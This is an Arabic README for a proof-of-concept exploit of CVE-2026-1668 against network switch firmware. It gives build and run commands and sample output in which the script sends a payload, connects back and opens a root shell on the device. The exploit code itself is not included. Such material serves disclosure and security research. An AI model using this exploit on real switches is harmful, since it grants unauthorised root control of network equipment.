
استغلال إثبات المفهوم لـ CVE-2026-1668.
هذا استغلال إثبات مفهوم لثغرة CVE-2026-1668. وهو مخصص للأغراض التعليمية فقط. يُرجى عدم محاولة استغلال أنظمة لا تملكها أو ليس لديك إذن صريح لاستغلالها.
تم تطوير إثبات المفهوم هذا ضد صورة برنامج ثابت ببصمة SHA256 التالية: 4b862b8dd7fde44fa57a39b35b562f21878dd6abb8e92ccd9cdef571ed60d544.
أسماء البرامج الثابتة المعروفة بأنها تطابق تلك البصمة (غير حصرية):
من المحتمل أن تكون الإصدارات الأقدم من البرنامج الثابت معرضة للخطر أيضًا، ولكنها قد تتطلب تغييرات طفيفة على حمولة الاستغلال.
يمكن العثور على شرح لكيفية عمل الحمولة في هذا منشور المدونة.
يلزم وجود سلسلة أدوات GCC لنظام MIPS Linux لبناء الحمولة. على Ubuntu 24.04، يمكن تثبيتها باستخدام sudo apt install gcc-mips-linux-gnu.
$ make
يجب تشغيل هذا الاستغلال قبل أن يقدّم خادم HTTP طلبه الأول (أي عند إقلاع نظيف).
$ ./run.sh
يجب أن يُسقطك السكربت إلى شل بصلاحيات الجذر. إذا لم يحدث ذلك، يكون الاستغلال قد فشل.
[*] Sending payload
HTTP/1.1 200 OK
Server: Web Switch
Connection: close
Content-Type: application/json
{"data":{"mByCtrl":0,"includePrivacyPolicy":0,"includeAutoCheck":1,"includeSshController":1},"errorcode":0,"success":true,"timeout":false}
[*] Connecting back to get a shell
/bin/sh: can't access tty; job control turned off
/etc #